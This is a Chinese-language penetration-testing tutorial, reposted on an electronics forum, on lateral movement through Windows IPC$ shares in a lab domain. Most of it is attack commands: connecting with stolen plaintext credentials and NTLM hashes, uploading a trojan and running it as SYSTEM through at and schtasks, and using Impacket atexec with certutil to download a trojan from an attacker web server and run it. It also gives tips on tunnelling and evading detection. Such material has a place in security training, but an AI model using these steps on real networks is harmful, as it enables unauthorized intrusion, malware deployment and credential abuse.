0
  • 聊天消息
  • 系统消息
  • 评论与回复
登录后你可以
  • 下载海量资料
  • 学习在线课程
  • 观看技术视频
  • 写文章/发帖/加入社区
创作中心

完善资料让更多小伙伴认识你,还能领取20积分哦,立即完善>

3天内不再提示

什么是IPC?IPC的利用条件有哪些?

jf_vLt34KHi 来源:Tide安全团队 2023-02-09 09:17 次阅读

什么是IPC?

IPC(共享命名管道资源)其实就是为了实现进程间通信而开放的命名管道;它是为了让进程间通信而开放的命名管道,通过提供可信任的用户名和口令,连接双方可以建立安全的通道并以此通道进行加密数据的交换,从而实现对远程计算机的访问。

IPC的利用条件

1.获得用户名和密码

2.开放了139、445端口

IPC可以实现远程登录及对默认共享资源的访问,而139端口的开启标识NetBIOS协议的应用。通过139、445端口可以实现对共享文件/打印机的访问。

3.管理员开启了默认共享

默认共享是为了方便管理员进行远程管理而默认开启的,包括所有的逻辑盘(c$,d$,e$)等,和系统目录winnt或windows(admin$)。通过IPC可以实现对这些默认共享目录的访问。

IPC在内网中的利用手法

IPC基础命令

1.查看IPC连接与删除IPC连接


netuse#查看IPC连接 netuse\serveripc$/del#删除IPC连接

d65a1d4e-a812-11ed-bfe3-dac502259ad0.png

2.建立IPC链接到目标主机


netuse\serveripipc$"password"/user:username#工作组

d693952e-a812-11ed-bfe3-dac502259ad0.png

netuse\serveripipc$"password"/user:domainusername#域内主机

d6a270e4-a812-11ed-bfe3-dac502259ad0.png

3.查看文件列表


dir\serveripc$

d6b5f9b6-a812-11ed-bfe3-dac502259ad0.png

4.下载与复制文件

在下载文件这里,我们是可以看到192.168.3.32的C盘下是有一个IP.txt文件的,这里我们使用下载文件命令将其下载到我们的桌面。


copy\serveripc$1.ext1.exe#下载文件

d6cb174c-a812-11ed-bfe3-dac502259ad0.png

上传文件同样也是使用copy命令进行上传

copy1.bat\serveripc$#上传文件

d7029eba-a812-11ed-bfe3-dac502259ad0.png

5.查看文件内容

若是想要查看⽬标 C 盘下的 ip.txt ⽂件就可以使⽤ type 命令


type\192.168.3.32c$ip.txt

d71c7a4c-a812-11ed-bfe3-dac502259ad0.png

计划任务执行命令

在实战中,我们建立了IPC连接后,可以上传木马文件然后使用计划任务将其上线,目前windows有两个计划任务命令,系统小于windows 2012的使用at命令,系统大于等于Windows server 2012的操作系统已经弃用了at命令使用schtasks命令。

如下图,假设我们当前已经拿到了Web Server的主机权限,并成功与其内网的两台主机建立了IPC连接,这时我们想将这两台主机进行上线就需要考虑到刚刚提到的由于windows版本,该使用at还是schtasks计划让其运行木马这个问题。

d72b7fba-a812-11ed-bfe3-dac502259ad0.png

AT

首先我们先将一个木马上传到我们的Web server中,由于内网主机不出网,所以这里要生成正向连接的木马或通过Web server中转上线的木马,这里使用的为中转上线生成的木马

d7449aea-a812-11ed-bfe3-dac502259ad0.pngd7587f10-a812-11ed-bfe3-dac502259ad0.png

在建立IPC连接后,将木马上传到目标机器中,然后再使用AT创建计划任务将其执行上线


netuse\192.168.3.21ipc$"Admin12345"/user:administrator copy4444.exe\192.168.3.21c$ dir\192.168.3.21c$

d7692c66-a812-11ed-bfe3-dac502259ad0.pngd77ad376-a812-11ed-bfe3-dac502259ad0.png

这里我们可以看到4444.exe已经成功被我们上传到了目标机器中,这里我们先查看一下目标系统时间,然后在使用at 设置计划任务,执行我们的木马文件

nettime\192.168.3.21#查看目标系统时间 at192.168.3.2116:40C:4444.exe#使用at计划任务执行C盘下的4444.exe

d79f7fa0-a812-11ed-bfe3-dac502259ad0.png

这里可以通过at命令去查看当前计划任务情况,和删除计划任务,具体命令如下

at\192.168.3.211#查看atid=1的计划任务 at\192.168.3.211/delete#删除atid=1的计划任务

d7aeaff2-a812-11ed-bfe3-dac502259ad0.pngd7c4c738-a812-11ed-bfe3-dac502259ad0.png

到了19:10分后,我们可以看到通过at计划任务木马成功被执行,已经上线到了我们的CS中

d7e0aeda-a812-11ed-bfe3-dac502259ad0.png

Schtasks

在windows server 2012及以后的操作系统已经弃用了at命令,转而使用schtasks命令,schtasks命令比at命令更加的灵活,但是在使用schtasks命令时,就会在系统中留下日志文件:C:Windows|Tasksxx.txt,这里不详细讲解schtasks的具体使用命令,只讲解在横向移动中,我们常用的操作命令。

和AT命令一样,我们先和目标主机建立IPC连接,将木马上传到目标机器中,然后再使用schtasks命令执行木马程序


netuse\192.168.3.32"admin!@#45"/user:administrator copy4444.exe\192.168.3.32c$ dir\192.168.3.32c$

d7eea418-a812-11ed-bfe3-dac502259ad0.pngd7fcc5a2-a812-11ed-bfe3-dac502259ad0.png

木马上传成功后,接下来就使用schtasks命令,schtasks命令与at命令不同,schtasks命令为先创建一个任务,然后再按需运行该任务,也可直接指定时间运行,但相对来说较于麻烦,所以这里使用按需运行任务,在创建了任务后直接让其运行即可

schtasks/create/s192.168.3.32/ru"SYSTEM"/tnbeacon/scDAILY/trc:4444.exe/F#创建beacon任务对应执行文件,每天运行一次 schtasks/run/s192.168.3.32/tnbeacon/i#运行beacon服务

d80ce4a0-a812-11ed-bfe3-dac502259ad0.png

这里可以通过schtasks命令去查看当前计划任务情况,和删除计划任务,具体命令如下

schtasks/query|findstrbeacon#查看beacon计划任务 schtasks/delete/s192.168.3.32/tnbeacon/f#删除beacon计划任务

d83a69f2-a812-11ed-bfe3-dac502259ad0.pngd84c35a6-a812-11ed-bfe3-dac502259ad0.png

这里,使用schtasks也成功将SQLserver上线。

d859d850-a812-11ed-bfe3-dac502259ad0.png

Impacket-atexec

在上文中,我们讲述了在命令行下通过使用计划任务来进行横向移动的效果,但该效果相对来说不太方便,例如只适用于明文密码进行连接,无法支持hash、在执行了命令后,无法获得回显等。这里我们可以使用Impacket-atexec工具,impacket是一个打包好的工具包,里面包含了对于各种协议和系统命令的利用工具。

对于at&schtasks,我们可以使用impacket中的atexec.exe,使用它可以轻松地进行远程连接并执行系统命令。impacket有两个版本,一个为exe可执行程序,另一个为python文件,该工具适用于Webshell下,Socks代理下,并且支持以hash的方式进行连接。

atexec EXE版

EXE版本具体使用方式如下:首先将atexec.exe上传到目标机器中

d8722ab8-a812-11ed-bfe3-dac502259ad0.png

然后运行该文件


atexec.exe./administrator:Admin12345@192.168.3.21"whoami"#本地用户明文连接执行命令 atexec.exegod/administrator:Admin12345@192.168.3.21"whoami"#域内用户明文连接执行命令

d8811bf4-a812-11ed-bfe3-dac502259ad0.pngd88f18e4-a812-11ed-bfe3-dac502259ad0.png

可以看到,在使用atexec进行执行命令后,结果会直接返回回来,那么我们也可以使用hash进行连接

atexec.exe-hashes:ccef208c6485269c20db2cad21734fe7./administrator@192.168.3.21"whoami"#使用hash进行本地用户连接 atexec.exe-hashes:ccef208c6485269c20db2cad21734fe7god/administrator@192.168.3.21"whoami"#使用hash进行域内用户连接

d8a16aa8-a812-11ed-bfe3-dac502259ad0.pngd8ba20ca-a812-11ed-bfe3-dac502259ad0.png

至此,为atexec的链接和命令执行命令,那我们回想刚刚在使用at和schtasks上线时的步骤:建立IPC连接、上传木马、设置任务执行....步骤较为繁琐,那我们在使用atexec时,也可以将其进行上线,并且相对来说较为简洁方案。首先,在这里我们需要转变一下思路,不能是将木马上传到目标机器中,而是让目标机器来去下载我们的木马程序,这里我们将木马放到Webserver的WEB目录中,然后构造下载命令,让目标机器将其下载到其机器中,然后在将其执行即可。web server的web目录为C:inetpubwwwroot,这里我们直接上传木马。

d8c9c34a-a812-11ed-bfe3-dac502259ad0.png

然后构造下载命令看其目标机器能否下载成功

atexec.exe-hashes:ccef208c6485269c20db2cad21734fe7./administrator@192.168.3.21"certutil.exe-urlcache-split-fhttp://192.168.3.31:80/4444.exe4444.exe" atexec.exe-hashes:ccef208c6485269c20db2cad21734fe7./administrator@192.168.3.21"dir|findstr4444.exe"

d8daf098-a812-11ed-bfe3-dac502259ad0.pngd8f23a32-a812-11ed-bfe3-dac502259ad0.png

可以看到4444.exe已经成功被其下载成功,那么这里我们直接运行4444.exe即可

atexec.exe-hashes:ccef208c6485269c20db2cad21734fe7./administrator@192.168.3.21"4444.exe"

d903554c-a812-11ed-bfe3-dac502259ad0.png

这里我们可以也可以看到DC成功上线。

d92677d4-a812-11ed-bfe3-dac502259ad0.png

atexec Python版

以上是atexec.exe的利用,但是因为需要在目标主机上面上传exe在实战中不实用,可能照成数据包丢失,也可能被查杀。所以这里在实战中建议使用python版本,但是也有可能目标主机没有相对的语言解析 ,所以最好的办法就是使用socket代理调用atexec.py对其内网进行利用。

主要操作如下:首先在CS上设置一个socket代理,然后使用proxifier 添加代理、规则。

d9398e82-a812-11ed-bfe3-dac502259ad0.pngd9525d86-a812-11ed-bfe3-dac502259ad0.png

设置好代理之后,设置下代理规则,将所有目标主机为192.168.3.0的数据包都通过我们的socket代理进行通信,这样我们就可以与其内网的主机进行通信。

d98170a8-a812-11ed-bfe3-dac502259ad0.png

这时代理设置好了之后,我们就可以直接在本机中使用atexec.py对其内网进行横向移动了,具体命令如下:


pythonatexec.py.administrator:Admin12345@192.168.3.21"whoami"#本地明文建立IPC连接并执行命令 pythonatexec.pygodadministrator:Admin12345@192.168.3.21"whoami"#域内主机建立IPC连接并执行命令

d9a49aba-a812-11ed-bfe3-dac502259ad0.pngd9b4cd5e-a812-11ed-bfe3-dac502259ad0.png

可以看到,通过socket代理,我们没有上传atexec.exe文件,就可直接在本地中对其内网进行利用,可较大程度的避免在实战中上传较大exe程序,被查杀或上传失败的效果

pythonatexec.py-hashes:ccef208c6485269c20db2cad21734fe7./administrator@192.168.3.21"whoami"#本地用户使用hash进行IPC连接 pythonatexec.py-hashes:ccef208c6485269c20db2cad21734fe7god/administrator@192.168.3.21"whoami"#本地用户使用hash进行IPC连接

d9c97e84-a812-11ed-bfe3-dac502259ad0.pngd9dbe75e-a812-11ed-bfe3-dac502259ad0.png

那么在这里,我们上线CS的步骤也和上文中使用atexec.exe上线步骤一致,这里不再演示。

在内网渗透中,IPC是我们经常用到的手段之一,若⽬标管理员对服务器禁⽤远程登录我们就可以使⽤ IPC 来完成⼀些操作,在IPC横向移动时,较为推荐使用atexec.py+socket代理的形式对其内网进行横向移动,相对来说动静较小,不易被发现。




审核编辑:刘清

声明:本文内容及配图由入驻作者撰写或者入驻合作网站授权转载。文章观点仅代表作者本人,不代表电子发烧友网立场。文章及其配图仅供工程师学习之用,如有内容侵权或者其他违规问题,请联系本站处理。 举报投诉
  • Web服务器
    +关注

    关注

    0

    文章

    137

    浏览量

    24227
  • NETBIOS
    +关注

    关注

    0

    文章

    6

    浏览量

    9354
  • IPC
    IPC
    +关注

    关注

    3

    文章

    306

    浏览量

    51348

原文标题:横向移动-IPC

文章出处:【微信号:Tide安全团队,微信公众号:Tide安全团队】欢迎添加关注!文章转载请注明出处。

收藏 人收藏

    评论

    相关推荐

    IPC-660

    IPC
    GITSTAR 集特工控
    发布于 :2023年12月20日 14:53:06

    IPC-110海光

    接口IPC
    GITSTAR 集特工控
    发布于 :2023年12月21日 11:26:03

    IPC-A-610D标准 IPC-A-610标准 IPC标准

    会员优惠价代购所有IPC正版标准!2009年12月您还想参加哪些课程?无铅手工焊接技能培训 09年12月2-3日开班(上海/苏州)IPC-A-600G(印制板的验收条件)09年12月7-9日开班
    发表于 11-23 20:38

    IPNC_RDK开发包IPC Link问题,请问IPC frames和IPC Bits什么区别?有没有哪个文档详细介绍各个Link用途的?

    Bits In/Out,请问IPC frames和IPC Bits什么区别?有没有哪个文档详细介绍各个Link用途的?
    发表于 05-28 10:27

    IPC例程中问题

    , &IPC_ISR],     [  0,     63,     CSL_INTC_VECTID_5, &Test_ISR], ]; 其中event都是设置的90,而6678参考手册上却是91号,如下图所示,请问这是为什么呢? 注:把代码中90号改成91号,程序是
    发表于 06-21 03:14

    ipc标准目录

    ipc标准目录
    发表于 09-04 12:38 6803次阅读

    SYSBIOS IPC 1.25 用户指南

    本文档提供了进程间通信(IPC)api的概述。此文档的这个版本旨在与IPC版本1.25一起使用使用BIOS的目标。
    发表于 04-13 16:17 3次下载
    SYSBIOS <b class='flag-5'>IPC</b> 1.25 用户指南

    IPC多高才算高呢?

    IPC的意义 一般来说IPC是越高越好, 这意味着单位时间执行了更多的指令, 通过观测IPC可以一定程度上了解软件的执行效率. 但是多高才算高呢? 这并没有标准答案, 它需要有基线进行对比, 有的
    的头像 发表于 10-09 10:46 2807次阅读
    <b class='flag-5'>IPC</b>多高才算高呢?

    IPC-6012或IPC-A-600:应使用哪个标准?

    印刷电路研究所不断发布性能文件,以管理 PCB 行业的实践。其中两个文件是 IPC-6012 和 IPC-A-600 。 自 1957 年以来,连接电子行业的协会(俗称 IPC )是为印刷电路
    的头像 发表于 10-26 19:41 2.2w次阅读

    IPC将携手慕尼黑展览共同打造IPC电子制造馆

    2020年11月3-5日,中国深圳作为全球性的电子行业组织,IPC(国际电子工业联接协会)致力于提升会员企业的竞争优势并帮助他们取得商业上的成功。为了更好地构建电子行业信息共享及交流平台,IPC
    的头像 发表于 10-28 10:13 1772次阅读

    如何理解PCB设计中的IPC

    IPC , 连接电子工业协会 ,是一个贸易协会,其目标是标准化电子设备和组件的组装和生产要求。它成立于1957年,是印刷电路研究所。它的名字后来改为互连和封装电子电路研究所,以突出从裸板到包装和电子
    的头像 发表于 03-05 11:13 5267次阅读

    IPC标准涉及内容介绍

    IPC标准在全球范围内被业界广泛采纳,现有的超过300份的多语言IPC标准和指南,几乎覆盖电子制造的各个环节。
    发表于 08-03 16:48 0次下载

    PCB板的IPC二级和IPC三级有什么区别

    IPC二级产品,即专用服务类电子产品,包括通讯设备、复杂的工商业设备和高性能、长寿命测量仪器等。IPC二级的标准明确了,这类产品在一般使用环境下,都不应该发生故障。
    发表于 10-20 10:28 2509次阅读

    涂鸦推出智能IPC开发框架,超强兼容性打造趣味IPC周边生态

    IPC还有哪些新玩法?随着摄像头的应用场景增加,IPC作为一种能力,正在融入到越来越多的智能设备中,形成了一批富有创意的智能IPC融合类产品。比如,扫地机结合智能IPC后,能实现可视化
    的头像 发表于 03-03 16:30 922次阅读
    涂鸦推出智能<b class='flag-5'>IPC</b>开发框架,超强兼容性打造趣味<b class='flag-5'>IPC</b>周边生态

    IPC平台商的市场格局

    AIoT星图研究院《2023视觉IoT消费市场分析报告》市场调研临近尾声,在我们走访企业时发现个有趣的现象:“头部方案商自己在做IPC平台,而不少IPC平台商也做方案,甚至成品”。平台商成本很高
    的头像 发表于 01-25 11:00 517次阅读
    <b class='flag-5'>IPC</b>平台商的市场格局